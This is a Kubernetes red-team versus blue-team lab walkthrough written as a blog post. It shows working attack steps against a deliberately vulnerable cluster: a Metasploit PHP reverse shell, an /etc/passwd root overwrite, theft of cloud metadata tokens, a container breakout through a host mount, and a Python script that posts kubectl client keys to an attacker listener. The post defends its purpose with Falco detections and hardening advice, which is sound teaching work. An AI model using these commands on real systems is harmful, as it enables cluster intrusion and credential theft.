APPSEC – How to compromise Kubernetes – Full Red Team vs Blue Team demo

This is a walk through of the Microsoft MITRE ATT&CK for Kubernetes that teaches the value of basic container security architecture requirements. If you’re interested in higher level Architecture and Strategy check out my Study Guide. If you’re interested in the attack surface and attack model at an enterprise level then check on my Threat Model page.

Or if you want to try some of these demo’s out yourself or want to try hardening your platform with some open source tools then check out my Tools Page. Later in this article, I’ll install Falco as a detection capability. If you want to learn how to install Falco and tune it then check out my previous articles on Falco.

The rest of the article is going to walk you through a basic K8 install, Falco install and a few very simple tools and techniques for attacking K8 based on the Microsoft version of the MITRE ATT&K framework. There’s nothing “perfect” about this demo. I’m just a exploring some cyber-security concepts as a hobby and hacking away burning the midnight oil and sharing with the broader community on the off chance that this might help the next person on their journey.

At the end of this demo, you’ll learn the value of high priority Security Requirements built into your container strategy …

  • Deploy and tune an endpoint detection to detect common critical attacks and correlate those attacks into a common attack chain
  • Deploy Pod Security Polices that prevent Write file Systems, PrivEscalations, Root containers, Privilege containers and sensitive host volume mounts
  • Deploy virtual networks polices that isolate namespace, pods and critical control plane infrastructure to reduce the possibility of lateral movement within the overlay network
  • Enforce RBAC that separates the scope of users to their respective cluster admin roles, namespaces roles and pods
  • Remove your tokens and client keys from your local developer Desktop / Launcher environments and store them in a secrets management solution when your not using them
  • Deploy virtual network ACLs which block access to the meta-data API on your cloud instances

Dependencies

install Kubernetes

Firstly, you’ll want to either install a full Kubernetes cluster or a Minikube. I’ll assume you have enough experience to get either of those running, but just in case, here are a few notes for a quick install. I plan on using the kubeadm installer which provides a decent baseline for a default PoC install but not nearly enough overall security for a production cluster. We wont get into the nuts and bolts, just install the controller and then boostrap the worker nodes to the controller using the commands below.

cat <<EOF | sudo tee /etc/modules-load.d/containerd.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

cat <<EOF | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.ipv4.ip_forward                 = 1
net.bridge.bridge-nf-call-ip6tables = 1
EOF

sudo sysctl --system

sudo apt-get update && sudo apt-get install -y containerd
sudo mkdir -p /etc/containerd
sudo containerd config default | sudo tee /etc/containerd/config.toml
sudo systemctl restart containerd

sudo swapoff -a
sudo sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab

sudo apt-get update && sudo apt-get install -y apt-transport-https curl

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -

cat <<EOF | sudo tee /etc/apt/sources.list.d/kubernetes.list
deb https://apt.kubernetes.io/ kubernetes-xenial main
EOF

sudo apt-get update
sudo apt-get install -y kubelet=1.20.1-00 kubeadm=1.20.1-00 kubectl=1.20.1-00
sudo apt-mark hold kubelet kubeadm kubectl

sudo kubeadm init --pod-network-cidr 192.168.0.0/16

mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

kubectl apply -f https://docs.projectcalico.org/manifests/calico.yaml

kubectl get pods -n kube-system

kubeadm tokencreate --print-join-command

install vulnerable web app

Secondly, we’re going to use the DVWA. Please be aware that this system is extremely vulnerable. You’ll want to lock down this system using an authenticated jumphost and internal networks ACLs in a non-prod PoC type of setting. A reference PoC might look something like this …

touch insecure-pod.yaml 


#insecure-pod.yaml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-pod
spec:
  replicas: 2
  selector:
    matchLabels:
      app: svc-example
  template:
    metadata:
      labels:
        app: svc-example
    spec:   
      containers:
      - name: dvwa-demo
        image: vulnerables/web-dvwa
        ports:
        - containerPort: 4444


touch svc-clusterip.yml

#svc-clusterip.yml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-pod
spec:
  replicas: 2
  selector:
    matchLabels:
      app: svc-example
  template:
    metadata:
      labels:
        app: svc-example
    spec:   
      containers:
      - name: dvwa-demo
        image: vulnerables/web-dvwa
        ports:
        - containerPort: 4444 


kubectl create -f svc-clusterip.yml

kubectl get endpoints svc-clusterip

kubectl port-forward --address 0.0.0.0 svc/svc-clusterip 4444 -n default & 

# Port forward through your SSH jump host and connect over your local-port to the Vulnerable Web Application to make sure it's running 

Success ! this will be the container application we will attack to gain entry into K8

install falco detection with sidekick ui

This will allow us to detect and monitor our attacks and simulate a real red team and blue team type of exercise that takes place. You’ll need some basic knowledge of HELM charts as well.

helm repo update

helm install  falco falcosecurity/falco --namespace falco --set falcosidekick.enabled=true --set falcosidekick.webui.enabled=true

kubectl port-forward --address 0.0.0.0 svc/falco-falcosidekick-ui 2802 -n falco & 


helm show values falcosecurity/falco 

#exec into one of your other pods and generate some noise to test the Web UI

kubectl exec --stdin --tty -n default my-pod  -- /bin/sh

Success! This is the tool we’ll use to simulate blue team and incident response

install metasploit in CLOUD / attacking machine

Because I’m doing this in the public cloud, I’d prefer not to deal with setting up reverse shells to my private home office network from GCP. Better to isolate all the testing inside of a VPC, well outside of my home office. We’re going to install Metasploit framework to demonstrate some of the MITRE ATT&CK threats.

Disclaimer: Only perform the following attacks on systems you have been authorized. FYI, GCP does not require notification of pen testing as long as you contain the scope of the tests to your personal project.

https://docs.rapid7.com/metasploit/installing-the-metasploit-framework/

https://github.com/rapid7/metasploit-framework

# Deploy in internal hosted cloud instance without a public IP and put it behind a bastion host with network ACLs that lock down to your specific LAB public IP

#down and dirty install 

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall


msfupdate

msf > db_connect your_msfdb_user:your_msfdb_pswd@127.0.0.1:5432/msf_database

Success !

ATT&CK example

I’m going to choose about four or five of the examples below and walk through some very noisy and exaggerated scenarios. Although, some of these scenarios are not to far off from real life and you’re likely to experience a few of them yourself. Take a moment to study and read the below framework, it’s a great reference and baseline to common attack chains.

initial access

First we’ll weaponize a payload by injecting a reverse shell and attacking a open vulnerability in the container Application layer of the stack. The following assumes you are familiar with the concept of reverse shells and file inclusions attacks, so we’re just going to jump right into the fact that someone has deployed a Web Application vulnerability onto the K8 cluster.

msfvenom -l payloads | grep php

msfvenom -p php/meterpreter/reverse_tcp --list-options

msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=4444 -o php_venom.php

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > show options

set LHOST 10.128.0.7

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.128.0.7:4444

privilege escalation

Now the attacker machine is waiting for the malware to respond to the the command and control server that we just set-up. If the file inclusion attacks works successfully, then you’d expect to get a live connection into the running container that we made earlier with the insecure-pod.yaml .

#I cheated a bit during installation, and added the following insecure local privilege escalation in etc/passwd so the www- user can escalate to root to begin the K8 / container compromise. In the real world there may be other local vulnerabilities that allow the web user to map UID / GUID 0 or similar.  

echo root::0:0:root:/root:/bin/bash > /etc/passwd

# Get the interactive shell so you can su

python -c 'import pty; pty.spawn("/bin/bash")'

www-data@dvwa-pod-589c9cf89-vvrn8:/var/www/html/hackable/uploads$ 

su

root@dvwa-pod-589c9cf89-vvrn8:/var/www/html/hackable/uploads# whoami

whoami

root
root@dvwa-pod-589c9cf89-vvrn8:/var/www/html/hackable/uploads# 


# Remember that one form of priv escalation is through the Cloud meta data API 

# 169.254.169.254 metadata.google.internal metadata

curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" \
<rnal/computeMetadata/v1/?recursive=true&alt=text" \          
> 
    -H "Metadata-Flavor: Google"

curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \
    -H 'Metadata-Flavor:Google'

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append


An interesting finding, the default scope of the compute instance is devstorage.read_only. The devstorage.read_only scope grants read access to all storage buckets in the GCP project. Depending on what is being stored in those buckets this can be treasure trove. Depending on the permissions you find you may also be able to query the local access token and replay it to elevate your permissions and move laterally through the cloud.

If you were to discover a “platform” role permission then it may even be possible to add/modify the SSH key values to create a backdoor into the compute instance and take complete control over the controller. If the permissions are broad enough, you may want to lift the instance API tokens and replay them …. you can also do the following.

curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
    -H "Metadata-Flavor: Google"

Given this attack method, what would the incident response (IR) or blue-team team see? What would be the indicators of compromise for a very noisy malware doing bad things? Notice, I had to install some packages to complete to attack (which is unusual for a immutable container), I had to read and write under /etc/ and used some STDIN/STDOUT network magic to create the reverse shells.

Blue Team / Incident Response

backdoor

As part of the attack matrix, it may make sense to create a backdoor account to maintain persistence on the machine. Although a very noisy and clunky example, I’m going to simply create a local SSH user login just to see if we can get the Falco rules to fire.

In reality, this option is less feasible because the network is an internally routable only on 192.168.x.x and would require kubectl namspace permissions to map to the local host nodePort for external service outside the internal overlay network.

A more realistic example, would be to upload a reverse shell, then set the shell to fire with some cron using a common local service account-id…. but I’m feeling lazy and it’s getting late….

apt install openssh-server
ssh backdoor@192.168.133.243 22

Success! Falco caught it .. it would similarly catch a netcat or outbound tcp utility

network discovery

The Kubernetes network runs on an internal private 192.16.8.x.x overlayed on the cloud compute instances within the 10.x.x.x VPC network. If you cannot break out onto the underlying host, you may want to discover the other containers to launch further attacks and probes to move laterally on the overlay. From there, maybe you’ll discover a privileged container with an RCE.

<tml/hackable/uploads$ nmap -v -n -p- 192.168.0.0/16              

Starting Nmap 7.40 ( https://nmap.org ) at 2021-04-20 20:06 UTC
Initiating Ping Scan at 20:06
Scanning 4096 hosts [2 ports/host]

Stats: 0:00:11 elapsed; 0 hosts completed (0 up), 4096 undergoing Ping Scan
Ping Scan Timing: About 0.67% done
Ping Scan Timing: About 2.56% done; ETC: 20:32 (0:25:58 remaining)
Ping Scan Timing: About 9.83% done; ETC: 20:33 (0:24:37 remaining)
Ping Scan Timing: About 14.95% done; ETC: 20:33 (0:23:13 remaining)

Stats: 0:04:27 elapsed; 0 hosts completed (0 up), 4096 undergoing Ping Scan
Ping Scan Timing: About 16.24% done; ETC: 20:33 (0:22:58 remaining)
Ping Scan Timing: About 21.06% done; ETC: 20:33 (0:21:33 remaining)

lateral movement and container break out

The previous DVWA container was not running as root or as privileged, so I’m going deploy a new nginx container to illustrate the the use-case where a developer introduces a container running as both root and privileged.

For illustration purposes, imagine if both the previous file inclusion web vulnerability was present running on a vulnerable privileged container.

apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  selector:
    matchLabels:
      app: nginx
  replicas: 1 # tells deployment to run 2 pods matching the template
  template:
    metadata:
      labels:
        app: nginx
    spec:
      securityContext:
        runAsUser: 0   
        runAsGroup: 0   
        fsGroup: 0   
      containers:
      - name: nginx
        image: nginx:1.14.2
        ports:
        - containerPort: 80
        securityContext:
          privileged: true
          allowPrivilegeEscalation: true 


kubectl create -f insecure-pod-nginx.yaml -n default


secsandman@controller:~$ kubectl get pod  nginx-deployment-645bf95774-cgq7j -o json | jq -r '.spec.containers[].securityContext.privileged'

true

secsandman@controller:~$ kubectl exec --stdin --tty -n default nginx-deployment-56c46fb98b-kggws  -- /bin/sh
# whoami

root

# mkdir /tmp/host-fs 
# mount /dev/sda1 /tmp/host-fs/

# ls -la /tmp/host-fs/   
                   
total 104
drwxr-xr-x  23 root root  4096 Apr 17 06:30 .
drwxrwxrwt   1 root root  4096 Apr 20 19:32 ..
drwxr-xr-x   2 root root  4096 Mar 25 19:23 bin
drwxr-xr-x   4 root root  4096 Apr 17 06:31 boot
drwxr-xr-x   4 root root  4096 Mar 25 19:18 dev
drwxr-xr-x 100 root root  4096 Apr 20 19:03 etc
drwxr-xr-x   4 root root  4096 Apr  5 01:00 home
lrwxrwxrwx   1 root root    30 Apr 17 06:30 initrd.img -> boot/initrd.img-5.4.0-1042-gcp
lrwxrwxrwx   1 root root    30 Apr 17 06:30 initrd.img.old -> boot/initrd.img-5.4.0-1041-gcp
drwxr-xr-x  22 root root  4096 Apr  8 02:01 lib
drwxr-xr-x   2 root root  4096 Mar 25 19:15 lib64
drwx------   2 root root 16384 Mar 25 19:23 lost+found
drwxr-xr-x   2 root root  4096 Mar 25 19:14 media
drwxr-xr-x   2 root root  4096 Mar 25 19:14 mnt
drwxr-xr-x   4 root root  4096 Apr  5 01:01 opt
drwxr-xr-x   2 root root  4096 Apr 24  2018 proc
drwx------   4 root root  4096 Apr  8 18:31 root
drwxr-xr-x   5 root root  4096 Mar 25 19:24 run
drwxr-xr-x   2 root root  4096 Mar 25 19:24 sbin
drwxr-xr-x   6 root root  4096 Apr  5 01:01 snap
drwxr-xr-x   2 root root  4096 Mar 25 19:14 srv
drwxr-xr-x   2 root root  4096 Apr 24  2018 sys
drwxrwxrwt   9 root root  4096 Apr 20 19:34 tmp
drwxr-xr-x  11 root root  4096 Apr  5 01:31 usr
drwxr-xr-x  13 root root  4096 Mar 25 19:18 var
lrwxrwxrwx   1 root root    27 Apr 17 06:30 vmlinuz -> boot/vmlinuz-5.4.0-1042-gcp
lrwxrwxrwx   1 root root    27 Apr 17 06:30 vmlinuz.old -> boot/vmlinuz-5.4.0-1041-gcp

# touch malware.txt /tmp/host-fs/
# echo "malware" > /tmp/host-fs/malware.txt
# cat /tmp/host-fs/malware.txt

malware

Although a simplistic example, this is a simple demonstration that a root and privilege container can mount the underlying file system and make modifications to gain persistence or even destroy critical files.

Luckily, we installed an endpoint detection capability which is still generating alerts. It looks as though we’re up almost 100 new alerts this deep into the attack chain.

malware steals local kubectl clients creds

Finally, what if you downloaded python, helm or some node.js packages from GitHub with nested malware? Let’s say the malware was written to execute some kubectl command that reads your local client credentials and certs and posts them back to the attackers machine so attacker can impersonate you ….

# Attacker machine listening for malware to call back 


#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()
# malware that steals your kubebernetes creds and posts to attackers machine 

#!/usr/bin/env python

import yaml
import os
import requests
import json

myobj = os.system("kubectl config view --raw | grep -E 'client-certificate-data|client-key-data'")

url = 'http://10.128.0.4:808/'

headers = {'Content-type': 'application/yaml'}

x = requests.post(url,headers,myobj)

print(x.text)
# Attacker received cred from victims machine 

10.128.0.4 - - [20/Apr/2021 22:22:16] "POST / HTTP/1.1" 200 -
INFO:root:POST request,
Path: /
Headers:
Host: 10.128.0.4:808
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 31
Content-Type: application/x-www-form-urlencoded



Body:

Content-type=application%2Fyaml

Something as simple as downloading some open source packed with complex nested dependencies creates a supply chain attack that ultimately costs you the cluster and your business workloads. It would be especially concerning if you co-locate multiple critical applications on the same cluster. (The all your eggs in one basket philosophy)

summary

Although these are overly simplistic demo’s, they helped me better understand a few high priority items to prevent and detect on. In reality, in a large enterprise or complex application, it wouldn’t be a surprise to find a few similar issues all combined together on a single cluster. A few things to think about as your decide to Architect or build you own K8 cluster ……

  • Deploy and tune an endpoint detection to detect common critical attacks and correlate those attacks into an attack chain
  • Deploy Pod Security Polices that prevent Write file Systems, PrivEscalations, Root containers, Privilege containers and sensitive host volume mounts
  • Deploy virtual networks polices that isolate namespace, pods and critical control plane infrastructure to reduce the possibility of lateral movement
  • Enforce RBAC that separates the scope of users to their respective cluster admin roles, namespaces roles and pods
  • Remove your tokens and client keys from your local Desktop / Launcher environments and store them in a secrets management solution when your not using them
  • Deploy virtual network ACLs which block access to the meta-data API on your cloud instances

I did this whole demo in only about two nights and still had time to read a book and ride my mountain bike. Honestly, all of this achievable with two hard-working engineers in about a week. Although I’m sure enterprise organization will find a way to span the work out across a couple quarters.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s